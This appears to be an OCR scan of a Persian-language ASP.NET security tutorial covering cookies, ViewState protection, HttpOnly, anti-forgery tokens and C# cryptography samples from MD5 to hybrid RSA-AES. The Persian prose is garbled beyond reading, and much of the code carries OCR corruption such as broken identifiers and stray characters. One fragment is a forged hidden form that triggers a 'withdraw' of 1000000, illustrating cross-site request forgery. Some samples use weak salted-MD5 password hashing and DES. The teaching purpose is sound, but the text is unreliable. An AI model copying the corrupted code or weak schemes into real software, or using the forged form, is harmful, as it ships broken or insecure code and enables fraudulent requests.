aiie by o0 0Ll 4 5 )95 w@‘\f 5 wlgioe (555 e BB sladil (il >
Q
st 3)l3e (ul &S K% 19 CidS FgaelS (59, d9ameli jobods Wilgi oo by oy

\° o o il

297 wyyﬁg@u Shasm g ol 028 S Coon (S95 0)W H9m il 4 53k >
\%3 ¢ Dgd oo 0dilg>

el ool e oS iz b g 09 S Sl (e g (e LS L oSS Sl >

S oo p3 S5 sLaiil slaanyl b ay oS SgalS 5 S ples ax Fisls Lai> >
(595 031 (Sl 0235 UKD (325 plgo b S jgbots 1SS Lol el ogypo )l Dalslae

LAS %%

YA~



5las e (S5 5l eolatnl oles

lar (Ss5 Ve 9 Ss5 o3l gl 1y (oul ¥0 27 Cosgame S Lo )5 5550 il isgazs Job >
SRLAAY Gla 555 5l Slaitay 4z ST aums oo )3 CadlS Saws 3)la adgy )3 j9,m 2
Lol 00l guly o CadMS lealliws sleasus o )5 59,0 0
S, 1y S sS wilgi oo )l s () ws (B yre )0 Lo S5 0gidll (Sl SlaSin >
4 a5 Sl Gl I 5L (gial Slas G sbml sl (ul a5 00,57 (5,0 995 Sgals
S a1, LT oS (slarals b 15 o 5o Wiz o copmizman 05 ca el aaly LS55
Gk 3l (S5 a4 o sl 2leds; &6 Jsb yo b S Ll it u*“)l'*@ 53 oobiw 2
S50y (s Syt | LSS il g Lok Il IS ol (55, 1,03 (slaatels
135505 sl 3Y Olej Jelo & il oo 5 Zend LG S5 Sl 5 ool sy a5 iS5, 5

5355 38 Lot Daali EULRT IR TAS S

w g 00, i yms Ladl oy awly W SsS oo ol «(PESIStENt) _asls S'sS ol oo Lo

13,10 3529 5950 ol 5l ol) g0 aws il Ladil ok a5 S84 U aile o seuld Ojg0

:Jol 9,90
Response.Cookies["nameWithPCookies"].Value = "This is A Persistance Cookie";
Response.Cookies["nameWithPCookies"].Expires = DateTime.Now.AddSeconds(10);

P9 290
HttpCookie aCookieValPer = new HttpCookie("Persistance");
aCookieValPer.Value = "This is A Persistance Cookie";

aCookieValPer.Expires = DateTime.Now.AddSeconds(10);
Response.Cookies.Add(aCookieValPer);
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Response.Cookies["nameWithNPCookies"].Value = "This is A Non Persistance Cookie";

gD 290

HttpCookie aCookieValNonPer = new HttpCookie("NonPersistance™);
aCookieValNonPer.Value = "This is A Non Persistance Cookie;

Response.Cookies.Add(aCookieValNonPer);how to create cookie:

(S5 Sy pilgS 09
if (Request.Cookies["NonPersistancg”] '= null)

Label2.Text = Request.Cookiesf"NonPersistance"].Value;
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decryptionKey="AutoGenerate, IsolateApps"
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using System;

using System.Security.Cryptography;
using System.Text;

namespace MachineKeyGenerator

{

class Program

{

static readonly RNGCryptoServiceProvider rngProvider =
new RNGCryptoServiceProvider();

static void Main(string[] args)

{

StringBuilder machineKeyElement = new StringBuilder();
machineKeyElement.Append(" <machineKey\n");
machineKeyElement.Append(" validationKey=\"");
machineKeyElement.Append(CreateRandomKey(64));
machineKeyElement.Append("\"\n");
machineKeyElement.Append("* decryptionKey=\""");
machineKeyElement.Append(CreateRandomKey(32));
machineKeyElement.Append("\"\n");
machineKeyElement.Append(" validation=\"SHA1\"\n");
machineKeyElement.Append(*" decryption=\"AES\"\n");
machineKeyElement.Append(*'/ >");
Console.WriteLine(machineKeyElement.ToString());

}
static string CreateRandomKey(int length)

{
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byte[] randomKey = new byte[length];
rngProvider.GetBytes(randomKey);

string hex = BitConverter.ToString(randomKey);
return hex.Replace("-", "™);

}
}
}
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<% @Page hanguage="C#" ... ViewStateEncryptionMode="Always" %>
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plos sl o8 )liw Tl LIS G 5 eslixul L (Global.asax s PreRequestHandlerExecute sloys,

Sl 00l ooly lis 5 Jle ,o Global.asax ;o slasg, ool 4 Wb 5l Gladiges 895 Silxaw

<% @Application Language="C#" %>
<script runat="server">

void Application_PreRequestHandlerExecute
(object sender, EventArgs €)

{

HttpContext context = HttpContext.Current;

/I Check we are actually in a webforms page.
Page page = context.Handler as Page;

if (page !'=null)

{

Il Use the authenticated user if one is available,
/1l so as the user key does not expire over

[l application recycles.

if (context.Request.IsAuthenticated)

{ page.ViewStateUserKey = context.User.ldentity.Name;

}

else

{

page.ViewStateUserKey = context.Session.SessionlD;

}
}
}

</script >
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using System;
using System.Web.UI;
public class ProtectedViewStatePage: Page

{

protected override void Onlnit(EventArgs e)

{
if (Request.IsAuthenticated)

{
ViewStateUserKey = User.ldentity.Name;

}

else

{

ViewStateUserKey = Session.SessionID;

}
base.Onlnit(e);

}
}
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<system.web>
<pages pageBaseType="ProtectedViewStatePage"></pages>

</system.web>
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protected override PageStatePersister PageStatePersister

{
get

{

return new SessionPageStatePersister(this);

}
}

ViewState iz sloalsd |2 a5 auS comad Conl (1Son aiS aSlol o amio 4 |y iy o 0l S
20 Sealys Lot ViewStateDecoder i3l 5l oslitwl & g0 4o wgddd adsi Lot Tamiw HTML L5 e
&S Cwl g S aSh wjlaed a5 093 amio o) polie 5 oS oo ViewState oS

S ool o5 8D ol b sl SessionPageStatePersister

dod 4l S i b LIS SO b o begasas o 0 |, SessionPageStatePersister aslgie Lo
ol 0,53 ViewState s slaws SessionPageStatePersister « o iis job 4 0sS (00,50 «lxao
Ol Ogdiae A5y, 90 ViewState a8 s dlaws iSTas a4 ST 0 lae &S ) caid Sl
QS 50 Ll deli y yo algie ol )15 a5 Conl oloo ey olasd mSTas (Cydgase

ol b awadyyml e <sessionPageState soo,Su paie ;o |y ouls 0,53 ViewState sloss auslyie
b S5 )l opol colaiwl H-0

s & ol ol b el 455 oy o 1y 58 misee ledbol Syl gl o wie ol Sy b S'sS

Syl oolitulges b 5 (65 00,8 ol )0 gdums ool 3 )5 )5 10 SgualS 4y Lo S'gS asCyy!

Y-



S Jss 1y 5 sleJesdlygiws

o SsS 0 wdge Sypo a4 > |y )5 jeee DaslS aile pwleos Slodlbl aigkns >
Loy sy e Ky 1,8 o0liciaslgus 5150 )51 45 oMbl ey558 S lgie a0 0,053
Sledlbl o u33 oo 5l a0 o )] Gl a0 9 0SS (6,55 o= S5 jo 1) ablee Has o
S 05033 (S 900 ey )°j%
213 (595 59 0 (o80)lade slyie & (e oy (n elisS ] a S sLAL

owles Ol QEN S

DS 03 SeS )0 ouds 6)‘&?}.‘0)%&@‘) SleMbl >

AaS oo ladatrue L, L;t;%ﬁ Secure S5 >

b S 5l cbilis d-8-1

(oM o o Sl gl

o 350 HTTPONIY N

(5 )90 4 s (yidgs 9) lgz bl (0 o 5 b el (s

Ngds oxlgs o gismplal o 5 i S AjaX Cus Sl gl oS XMLHttpRequest 4 b 5wl
g0 ouilg> P98y ) : Sy 2 b ) Klgie
%\5@‘5 S bl ol 3l s 45 A g Vor e F uSTo 0 Lais

@ e Gialed | HTTPONlY (slo 56551 ml; slo 55900 (Sl 5 Jsoz

HTTPONIY (sl 5555/ ol sl 55 o bty o fou

Odsd jl sl o> I 5S> e g

abs ab A Internet Explorer

Yy



abs ab 14 Internet Explorer
ors ab A Internet Explorer
al al r Mozilla Firefox
al al r Mozilla Firefox
P 4l 9.4 Opera
s gocs ,r Opera
goes goes r- . Safari
joes al Lo dsees Google Chrome

Sl e S canis Tawlis o |, HTTPONlY o s gome Aot (aar’s) ASP.NETY,- .Y
asle web.config LB &,k 5l 1, s o oaliolon] sla 5o pld) dilgie Lo .amans 1,8 0,8 Cug

M RS 2

<system.web>
<httpCookies httpOnlyCookies="true"/ > .....

</system.web >
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HttpCookie protectedCookie = new HttpCookie(*'protectedCookie™);
protectedCookie.HttpOnly = true;
Response.AppendCookie(protectedCookie),
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HttpCookie appCookie = new HttpCookie("AppCookie™); appCookie.Value = "written " +
DateTime.Now.ToString(); appCookie.Expires = DateTime.Now.AddDays, (1)

appCookie.Path = "/Applicationl,”
Response.Cookies.Add(appCookie),
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Response.Cookies["domain™].Value = DateTime.Now.ToString();
Response.Cookies["domain"].Expires = DateTime.Now.AddDays(1);

Response.Cookies["domain™].Domain = "support.contoso.com';
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Response.Cookies["domain"].Value = DateTime.Now.ToString();
Response.Cookies["domain"].Expires = DateTime.Now.AddDays(1);

Response.Cookies["domain™].Domain = "contoso.com";
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>input type="hidden" name="Transaction" value="withdraw<y ”
>input type="hidden" name="Amount" value="1000000<7 "
>input type="submit" value="Click Me</"
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<form action="/Home/Test" method="post">

<input name="__ RequestVerificationToken" type="hidden"
value="6fGBtLZmVBZ590Uad1Fr33BuPxANKY9q3Srr5y[...]" />
<input type="submit" value="Submit" />

</form>
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@using (Html.BeginForm(**Manage", "Account™)) {
@Html.AntiForgeryToken()

}
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protected override Onlnit(EventArgs e) {
base.Onlnit(e);

if (User.ldentity.IsAuthenticated)
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using System;

using System.Collections.Generic;
using System.Ling;

using System.Text;

using System.Security.Cryptography;

namespace RNGCryptoServiceProviderProject

{

class Program

{

static void Main(string[] args)

{

for(int i=0;i<10;i++)

{

Console.WriteLine("Random number "+i+":
"+Convert.ToBase64String(GenerateRandomNumber(32)));

}
Console.ReadKey();

}
public static byte[] GenerateRandomNumber(int Length)

{
using (RNGCryptoServiceProvider rng=new RNGCryptoServiceProvider())

{
byte[] randomNumber = new byte[Length];

rng.GetBytes(randomNumber);

return randomNumber;

}
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using System;

using System.Collections.Generic;
using System.Linq;

using System.Text;

using System.Security.Cryptography;
using System.lO;

namespace MD5Hashing

{

class Program

{

static void Main(string[] args)

{

string Messagel = "Messagel";

string Message2 = "Message2";
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var hashedMessagel = ComputeHashMD5(Encoding. UTF8.GetBytes(Messagel));
var hashedMessage2 = ComputeHashMD5(Encoding.UTF8.GetBytes(Message?));
Console.WriteLine("Hashed Messagel with Base64: "+Convert.ToBase64String(hashedMessagel));

StringBuilder sb = new StringBuilder();

for(int i=0;i<hashedMessage2.Length;i++)

{
sb.Append(hashedMessage2[i].ToString("'X2"));

}

Console.WriteLine("Hashed Message2 with hex: " + sh.ToString());

Console.WriteLine("Hashed File with Base64:

"+Convert.ToBase64String(FileToBytes(@"C:\Users\Maher\Documents\Example.zip™)));

Console.ReadKey();

}
public static byte[] FileToBytes(string add)

{

FileStream stream = File.OpenRead(add);
byte[] fileBytes = new byte[stream.Length];
stream.Read(fileBytes, O, fileBytes.Length);
stream.Close();

return fileBytes;

}
public static byte[] ComputeHashMD5(byte[] tobeHashed)

{
using (var md5 = MD5.Create())

{
return md5.ComputeHash(tobeHashed);

}
}
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using System;

using System.Collections.Generic;
using System.Ling;

using System.Text;

using System.Security.Cryptography;

namespace SHA Family

{

class Program

{

static void Main(string[] args)

{

string Message = "Mabher";

Console.WriteLine("'shal hashed Message:
"+Convert.ToBase64String(ComputeHashSHA1(Encoding.UTF8.GetBytes(Message))));
Console.WriteLine("'sha256 hashed Message: " +
Convert.ToBase64String(ComputeHashSHA256(Encoding.UTF8.GetBytes(Message))));
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Console.WriteLine("sha512 hashed Message: " +
Convert.ToBase64String(ComputeHashSHA512(Encoding.UTF8.GetBytes(Message))));
Console.ReadKey();

}
public static byte[] ComputeHashSHA1(byte[] tobeHashed)

{
using (var shal = SHA1.Create())

{
return shal.ComputeHash(tobeHashed);

}

}
public static byte[] ComputeHashSHA256(byte[] tobeHashed)

{
using (var sha256 = SHA256.Create())

{
return sha256.ComputeHash(tobeHashed);

}

}
public static byte[] ComputeHashSHA512(byte[] tobeHashed)

{
using (var shab12 = SHA512.Create())

{
return sha512.ComputeHash(tobeHashed);

}

}
}
}
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using System;

using System.Collections.Generic;
using System.Linq;

using System.Text;

using System.Security.Cryptography;

namespace HMAC
{

class Program

{
private const int KEY_SIZE = 32;

public static byte[] GenerateKey()
{

using (var rng = new RNGCryptoServiceProvider())

{
var randomnumber = new byte[KEY_SIZE];

rng.GetBytes(randomnumber);
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return randomnumber;

}

}

public static byte[] ComputeHMACSHAL(byte[] input,byte[] key)
{

using (var hmac = new HMACSHAL(key))

{

return hmac.ComputeHash(input);

}

}

public static byte[] ComputeHMACSHA256(byte[] input, byte[] key)

{
using (var hmac = new HMACSHA256(key))

{

return hmac.ComputeHash(input);

}

}

public static byte[] ComputeHMACSHAS512(byte[] input, byte[] key)

{

using (var hmac = new HMACSHA512(key))

{

return hmac.ComputeHash(input);

}

}

public static byte[] ComputeHMACMDS5(byte[] input, byte[] key)
{

using (var hmac = new HMACMDA5(key))

{

return hmac.ComputeHash(input);

}
}

static void Main(string[] args)

{
var key = GenerateKey();
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string message = "Maher",;

var hmac_MD5 = ComputeHMACMDS5(Encoding.UTF8.GetBytes(message),key);

var hmac_SHA1 = ComputeHMACSHA1(Encoding.UTF8.GetBytes(message), key);

var hmac_SHA256 = ComputeHMACSHA256(Encoding.UTF8.GetBytes(message), key);
var hmac_SHA512 = ComputeHMACSHA512(Encoding.UTF8.GetBytes(message), key);
Console.WriteLine("MD5 HMAC: "+Convert.ToBase64String(hmac_MD5));
Console.WriteLine("SHAL HMAC: " + Convert.ToBase64String(hmac_SHA1L));
Console.WriteLine("SHA256 HMAC: " + Convert.ToBase64String(hmac_SHA256));
Console.WriteLine("SHA512 HMAC: " + Convert.ToBase64String(hmac_SHA512));
Console.ReadKey();

}

}

}
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using System;
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using System.Collections.Generic;
using System.Ling;
using System.Text;

using System.Security.Cryptography;
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namespace PasswordWithSalt

{

class Program

{

static void Main(string[] args)

{

string password = "Maher";

byte[] salt = GenerateSalt();

Console.WriteLine("password: "+password);

Console.WriteLine("salt: " + Convert.ToBase64String(salt));

Console.WriteLine("Hashed password: "
+Convert.ToBase64String(HashPasswordWithSalt(Encoding. UTF8.GetBytes(password),salt)));
Console.ReadKey();

}
public static byte[] GenerateSalt()

{

const int SALT_LENGTH = 32;

using (var rng = new RNGCryptoServiceProvider())

{

var randomNumber = new byte[SALT_LENGTH];
rng.GetBytes(randomNumber);

return randomNumber;

}

}

public static byte[] Combine(byte[] first,byte[] second)
{

var ret = new byte[first.Length + second.Length];
Buffer.BlockCopy(first, 0, ret, 0, first.Length);
Buffer.BlockCopy(second, 0, ret, first.Length, second.Length);
return ret;

}
public static byte[] HashPasswordWithSalt(byte[] input,byte[] salt)

{
using (var md5 = MD5.Create())
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{

return md5.ComputeHash(Combine(input, salt));

}
}
}
}
SuSalt .o,8 (Salt) il a1y o] Mol 55 o «Mos ol Bl ;3 y3ae 3, Conial L2331 (51,

g oo oliul T 9,01 iali8l jglhie 4 g 09l e aBLS [DL:%QQMML?LQ}‘MASC;‘ olai sae
ASl e S p3Y g iS00 0 | Salt Jm‘o.\;&%}%olﬁ@%uw

s s

63> U o9 ol Ll 5 Cowlodlh o j500 50, (Sl W0 035 by, 5l S p955 50, o w3 sl Jo oy
o..)..Z.J LJL"" o 1l e °")‘3)"‘>)i A Q5}'é‘}5) U’“"‘)'e‘ 913 uﬁ*b L axg L (5]9 xS U"‘Al’ ‘) L ol

ol b L password-based key derivation functiop;l olaiwl g J= ol all eols [laws S oyl

Saxs 45 WS o b ot 48,5 il JYIES L jl Gordon E. Moore el 5l a5 j5e oy3il5 a3

28 sl il 99 jlae S50 Jle 28 Loy b gt 5l

S g, gt (oo BLLLT oS 2ol 7-F-)

sz by as clhl (Salt b o) Heeeio, Do d 5 53,8 Gia bl JSiie 023,5 G oS olailen

Sy & 'l Rainbow g Brute Force oMo plys jo ol 0 5 (598 sl oasjlo ol b Lo

Pblan jo )oLom;Sui..aslj 34> y9ul ja, mo¢o5b|u@6@|oudmﬁoom1 I gy b

WS cdasle jae yeild 8 i
G, sl o lastisl LSy g oo 0dual PBKDF2 a5 RYY PRI SO {0 BV LY &b
S 5955 G sl MDS 51 aS (0065 sl oo zedgl el STooles ol 4 ol e Public-Key

Yy



(23,5 o oolatul Rainbow s brute force cdles 51 o1 Sl (gl o 0,Lsl a5 30,5 o oolatul 8 ygun
9 65 3lS it ] 098 oo el ST Slaws ol (e plosl A e Voo 1y MD5 S oy W50 L o V>
Bl i Lo LSS slasi azpe a8 Sro ) 6t Gl Wl Al Lo 09y (Sl (sl a5 (e 565!
S oo WLl ol a5 5o eo |y St S ol ity (Rl Gl 055 oo it 5 Ol 0055 S0
S5 ol I ek o Salt i 5 sga e, oSl Le gy 0l 53 05 h (o0 Lo (8T rfiEREel &
S eyl 68T e, b e 0l oSN SO ST Slads olqﬁg.m.;fsaoawwbl)s: Slaws ylgie 4y dae

D9l o2y 3oy Slp Fie oS s ady Cal/aSTAST e )1)ST g0 50,

Brute oMo oilys (oo ooty Ojg0 4 Lol 0550 S5 (5, c?)bf}*".)‘ L e el S LSS L

‘_gLa:_.:;!&Lma,,lSoIM.\ﬁslgssnwa};;snjséséuox}bﬁdgp.%Sjsgmsjswl)force
Slr 95 (28 Gy S5 ol Su g Gl g S8l Em algs oo Lo (Jyle 4 s il
s oy bk oy Rainbow S Ulss aslys o ek éalt o0, LAl L yoren. Sl 550000 logas g0

using System;

using System.Collections.Generic;
using System.Ling;

using System.Text;

using System.Security.Cryptography;

using System.Diagnostics;

namespace PBKDF2
{

class Program

{

static void Main(string[] args)

{
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string password = "Maher";
CalculateTime(password,50000);
CalculateTime(password, 100000);
CalculateTime(password, 200000);
CalculateTime(password, 500000);
Console.ReadKey();

}

public static byte[] GenerateSalt()

{

using (var rng = new RNGCryptoServiceProvider())
{

byte[] randomNumber = new byte[32];
rng.GetBytes(randomNumber);

return randomNumber;

}
}
public static byte[] HashPassword(byte[] input,byte[] salt,int iterations)

{
using (var PBKDF2 = new Rfc2898DeriveBytes(input,salt,iterations))

{

return PBKDF2.GetBytes(32);

}

}

public static void CalculateTime(string password,int iterations)

{

Stopwatch s = new Stopwatch();

s.Start();

var hashedPassword = HashPassword(Encoding.UTF8.GetBytes(password),GenerateSalt(),iterations);
s.Stop();

Console.WriteLine("\nPassword: "+password);
Console.WriteLine("HashPassword: "+Convert.ToBase64String(hashedPassword));

Console.WriteLine("iterations {0}, ElapsedTime {1}ms", iterations, s.ElapsedMilliseconds);

}
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using System;
using System.Collections.Generic;
using System.Ling;

using System.Text;
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using System.Security.Cryptography;
using System.lO;

namespace DesEncryption

{

class Program

{

static void Main(string[] args)

{

var key = GenerateRandomNumber(8);

var iv = GenerateRandomNumber(8);

var Text = "Maher";

var encrypted = Encryption(Encoding.UTF8.GetBytes(Text), key, iv);

var decrypted = Decryption(encrypted, key, iv);
Console.WriteLine("encrypted: "+Convert. ToBase64String(encrypted));
Console.WriteLine("\ndecrypted: "+Encoding.UTF8.GetString(decrypted));
Console.ReadKey();

}

public static byte[] GenerateRandomNumber(int Length)
{

using (var rng = new RNGCryptoServiceProvider())

{

byte[] randomNumber = new byte[Length];
rng.GetBytes(randomNumber);

return randomNumber;

}

}

public static byte[] Encryption(byte[] input,byte[] key,byte[] IV)
{

using (var des = new DESCryptoServiceProvider())

{

des.Mode = CipherMode.CBC;

des.Key = key;

des.Padding = PaddingMode.PKCS7;
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des.lV =1V,

using (var ms = new MemoryStream())

{

var ¢s = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(input, O, input.Length);

cs.FlushFinalBlock();

return ms.ToArray();

}

}

}

public static byte[] Decryption(byte[] input, byte[] key, byte[] IV)
{

using (var des = new DESCryptoServiceProvider())
{

des.Mode = CipherMode.CBC;

des.Key = key;

des.Padding = PaddingMode.PKCS7;

des.lV =1V;

using (var ms = new MemoryStream())

{

var ¢s = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.FlushFinalBlock();

return ms.ToArray();

}

}
}
}
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using System;

using System.Collections.Generic;
using System.Linq;

using System.Text;

using System.Security.Cryptography;
using System.lO;

namespace TripleDES

{

class Program

{

static void Main(string[] args)

{

var key = GenerateRandomNumber(24);

var iv = GenerateRandomNumber(8);

var Text = "test Text";

var encrypted = Encrypt(Encoding.UTF8.GetBytes(Text), key, iv);

var decrypted = Decrypt(encrypted, key, iv);

Console.WriteLine("Text: "+Text);

Console.WriteLine("Encrypted Text: "+Convert.ToBase64String(encrypted));
Console.WriteLine("Decrypted Text: "+Encoding.UTF8.GetString(decrypted));
Console.ReadKey();

}
public static byte[] GenerateRandomNumber(int Length)

{
using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider())

{
byte[] randomNumber = new byte[Length];

rng.GetBytes(randomNumber);

YV



return randomNumber;

}

}

public static byte[] Encrypt(byte[] dataToEncrypt,byte[] key,byte[] iv)
{

using (var des = new TripleDESCryptoServiceProvider())

{

des.Mode = CipherMode.CBC;

des.Padding = PaddingMode.PKCS7;

des.Key = key;

des.lV =iv;

using (var ms = new MemoryStream())

{

var ¢s = new CryptoStream(ms,des.CreateEncryptor(),CryptoStreamMode.Write);
cs.Write(dataToEncrypt, 0, dataToEncrypt.Length);
cs.FlushFinalBlock();

return ms.ToArray();

}

}

}

public static byte[] Decrypt(byte[] dataToDecrypt, byte[] key, byte[] iv)
{

using (var des = new TripleDESCryptoServiceProvider())

{

des.Mode = CipherMode.CBC;

des.Padding = PaddingMode.PKCS7;

des.Key = key;

des.lV =iv;

using (var ms = new MemoryStream())

{

var ¢s = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(dataToDecrypt, 0, dataToDecrypt.Length);
cs.FlushFinalBlock();

return ms.ToArray();
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using System.Collections.Generic;
using System.Ling;

using System.Text;

using System.Security.Cryptography;
using System.IO;

namespace AesEncryption

{

class Program

{

static void Main(string[] args)

{

var aes = new AES();

var key = aes.GenerateRandomNumber(32);

var iv = aes.GenerateRandomNumber(16);

var Text = "Text";

var encrypted = aes.Encrypt(Encoding.UTF8.GetBytes(Text), key, iv);
var decrypted = aes.Decrypt(encrypted,key,iv);

var DecryptedMessage = Encoding.UTF8.GetString(decrypted);
Console.WriteLine("Text: "+Text);

Console.WriteLine("Encrypted Text: "+Convert.ToBase64String(encrypted));
Console.WriteLine("Decrypted Text: "+ DecryptedMessage);
Console.ReadKey();

}

}
class AES

{
public byte[] GenerateRandomNumber(int Length)

{
using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider())

{
byte[] randomNumber = new byte[Length];

rng.GetBytes(randomNumber);

return randomNumber;
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}

}

public byte[] Encrypt(byte[] dataToEncrypt, byte[] key, byte[] iv)
{

using (var aes = new AesManaged())

{

aes.Mode = CipherMode.CBC;

aes.Padding = PaddingMode.PKCS7;

aes.Key = key;

aes.lV =iv;

using (var ms = new MemoryStream())

{

var ¢s = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(dataToEncrypt, 0, dataToEncrypt.Length);

cs.FlushFinalBlock();

return ms.ToArray();

}

}

}

public byte[] Decrypt(byte[] dataToDecrypt, byte[] key, byte[] iv)

{

using (var aes = new AesCryptoServiceProvider())//new AesManaged()
{

aes.Mode = CipherMode.CBC;

aes.Padding = PaddingMode.PKCS7;

aes.Key = key;

aes.lV =v;

using (var ms = new MemoryStream())

{

var ¢s = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(dataToDecrypt, 0, dataToDecrypt.Length);
cs.FlushFinalBlock();

return ms.ToArray();

}
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using System;

using System.Collections.Generic;
using System.Linq;

using System.Text;

using System.Security.Cryptography;
using System.lO;

namespace RSA

{

class Program

{

static void Main(string[] args)

{

string Message = "Mabher";

var rsaParams = new RSAWithParameters();
var rsa = new RSACryptoServiceProvider(2048);
var PublicKey = rsa.ExportParameters(false);

var Privatekey = rsa.ExportParameters(true);

RSA 65! 5l oolaiwl b (6,550, 0556 o5 a5 4o

var encrypted = rsaParams.Encryption(Encoding.UTF8.GetBytes(Message),PublicKey);

var decrypted = rsaParams.Decryption(encrypted, Privatekey);

Console.WriteLine(Convert.ToBase64String(encrypted));
Console.WriteLine(Encoding.UTF8.GetString(decrypted));

var rsaXML = new RSAWithXML();

rsaXML.AssignNewKey(@"d:\publicKey.xml",@"d:\privateKey.xmlI");
encrypted = rsaXML.Encryption(@"d:\publicKey.xml", Encoding.UTF8.GetBytes(Message));

decrypted = rsaXML.Decryption(@"d:\privateKey.xml", encrypted);

Console.WriteLine("\n"+Convert.ToBase64String(encrypted));
Console.WriteLine("\n"+Encoding.UTF8.GetString(decrypted));
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var rsaCsp = new RSAWithCspKey();

rsaCsp.AssignNewKey();

encrypted = rsaCsp.Encryption(Encoding.UTF8.GetBytes(Message));
decrypted = rsaCsp.Decryption(encrypted);
rsaCsp.DeleteKeyInCsp();

Console.WriteLine("\n" + Convert. ToBase64String(encrypted));
Console.WriteLine("\n" + Encoding.UTF8.GetString(decrypted));
Console.ReadKey();

}
}
class RSAWithParameters

{
public byte[] Encryption(byte[] input,RSAParameters rsaKey)

{

byte[] cipherBytes;

using (var rsa = new RSACryptoServiceProvider(2048))
{

rsa.ImportParameters(rsaKey);

cipherBytes = rsa.Encrypt(input,true);

}

return cipherBytes;

}
public byte[] Decryption(byte[] input, RSAParameters rsaKey)

{

byte[] PlainBytes;

using (var rsa = new RSACryptoServiceProvider(2048))
{

rsa.ImportParameters(rsaKey);

PlainBytes = rsa.Decrypt(input, true);

}

return PlainBytes;

}

}
class RSAWithXML
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{
public void AssignNewKey(string publicKey,string privateKey)

{

var rsa = new RSACryptoServiceProvider(2048);
File.WriteAllText(publicKey, rsa. ToXmlString(false));
File.WriteAllText(privateKey, rsa.ToXmlString(true));

}

public byte[] Encryption(string publicKeyPath,byte[] input)
{

byte[] cipherBytes;

using (var rsa = new RSACryptoServiceProvider(2048))
{
rsa.FromXmiString(File.ReadAllText(publicKeyPath));
cipherBytes = rsa.Encrypt(input, false);

}

return cipherBytes;

}

public byte[] Decryption(string privateKeyPath, byte[] input)
{

byte[] plain;

using (var rsa = new RSACryptoServiceProvider(2048))
{

rsa.FromXmliString(File.ReadAll Text(privateKeyPath));
plain = rsa.Decrypt(input, false);

}

return plain;

}

}

class RSAWithCspKey

{

const string CONTAINER_NAME = "Maher";

public void AssignNewKey()

{
const int PROVIDER_RSA_FULL =1;

YoF



CspParameters cspParams = new CspParameters(PROVIDER_RSA_FULL);
cspParams.KeyContainerName = CONTAINER_NAME;

cspParams.Flags = CspProviderFlags.UseMachineKeyStore;

var rsa = new RSACryptoServiceProvider(cspParams);

rsa.PersistKeyInCsp = true;

}
public void DeleteKeyInCsp()

{

var csp = new CspParameters();
csp.KeyContainerName = CONTAINER_NAME;
var rsa = new RSACryptoServiceProvider(csp);
rsa.PersistKeylnCsp = false;

rsa.Clear();

}

public byte[] Encryption(byte[] input)

{

byte[] cipherBytes;

var csp = new CspParameters();
csp.KeyContainerName = CONTAINER_NAME;
using (var rsa = new RSACryptoServiceProvider(2048, csp))
{

cipherBytes = rsa.Encrypt(input, false);

}

return cipherBytes;

}

public byte[] Decryption(byte[] input)

{

byte[] plainBytes;

var csp = new CspParameters();
csp.KeyContainerName = CONTAINER_NAME;
using (var rsa = new RSACryptoServiceProvider(2048, csp))
{

plainBytes = rsa.Decrypt(input, false);

}
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return plainBytes;

}
}
}

) opliel oS Job 5l i Job b sls ools olg ood RSA i,o801 b a5 (a8 L3 %ﬁ o
DD
foeS )05 50, 15 00ls 5 slo SToly aigS N 555 6 )35 5,
Soy 4 gy e Lol oS oo oolaiuwl AES i o \laie (6 ) K50, pis 65 ﬁ%ﬁl ol sl yo
S
as ol asls ) golds fles Wb oliS 50, sl ply caisS C/él,{)o‘§ 39 el AS pal ol Ll

2 ol jsb 4 ) S e Gl e gy 4 Canlomi) Sl Tl anl s ooliial 513550, sl

S 9 10 )5 oy

.M;GAMJ.?AQLAAQT)_@&|)Q.AJSL5@$L?LAH)AES(&QLVY)&@YO?%JS&&&'

D\E\% WS oo adg (Sl VP) (S VYA(IV) Dadsl oo jlade o, S e 0
W
@ &S 0 3oy AES g, w1y e cols IV g ands> odS 5l eolazul b e @

el Loy sogas 0l 5 08 o o, |, ad> 0 ISRSA L e

&S o0 0 3 Packet G lgie a1y adgl a0 Jlade)ls g duds oS conls ey sla cols e

YOA



S 9y 19 2 LS o

Lo, osar 0S5 a5 0 o olie, RSA Sl eslinal L 1) AES Tonss (g iS50, dud oS Lo, @

WS e LS50, IV g AES ands 0l 5l eslinl L 1 onds (6,35 50, (ol 0 ﬁ

Al e | )s’u‘fwb y

55 oo 03> (RSA-AES) 2,55l 5 oou&? txw 055 35 95 o
N
N\
using System;
using System.Collections.Generic;
using System.Ling;
using System.Text;
using System.Security.Cryptography;
using System.lO;

namespace Hybrid_RSA AES_
{

class Program

{

static void Main(string[] args)

{

var text = "test";

var rsa = new RSACryptoServiceProvider();

RSAParameters publicKey = rsa.ExportParameters(false);
RSAParameters privateKey = rsa.ExportParameters(true);

var rsaParams = new RSAWithParameters();

var EncrpytedBlock = Encryption(text, rsaParams, publicKey);
var DecryptedBlock = Decryption(EncrpytedBlock, rsaParams, privateKey);
Console.WriteLine("Text: " + text);

Console.WriteLine(""DecryptedMessage: "+DecryptedBlock);
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Console.ReadKey();

}
/Ipublic static bool CompareUnSecure(byte[] arrayl,byte[] array2)

1{
/[ 'if (arrayl.Length != array2.Length)
/I return false;
/I for(int i=0;i<array2.Length;i++)
I{
[/l'if (arrayl[i] != array2[i]) return false;

'}

/I return true;

I}

public static bool compare(byte[] arrayl,byte[] array2)

{

var result = arrayl.Length == array2.Length;

for (inti = 0; i < arrayl.Length && i < array2.Length; i++)

result &= arrayl[i] == array2[i];

return result;

}

public static string Decryption(EncryptedPacket encryptedPacket,RSAWithParameters
rsaParams,RSAParameters privateKey)

{

var aes = new AES();

var decryptedSessionKey = rsaParams.Decryption(encryptedPacket.EncryptedSessionkey, privateKey);
using (var hmac = new HMACSHA256(decryptedSessionKey))

{

var hmacToCheck = hmac.ComputeHash(encryptedPacket.EncryptedData);
if ('compare(hmacToCheck, encryptedPacket. HMAC))

throw new CryptographicException("Error");

}

var decryptedData = aes.Decrypt(encryptedPacket.EncryptedData, decryptedSessionKey,
encryptedPacket.1V);

return Encoding.UTF8.GetString(decryptedData);

}
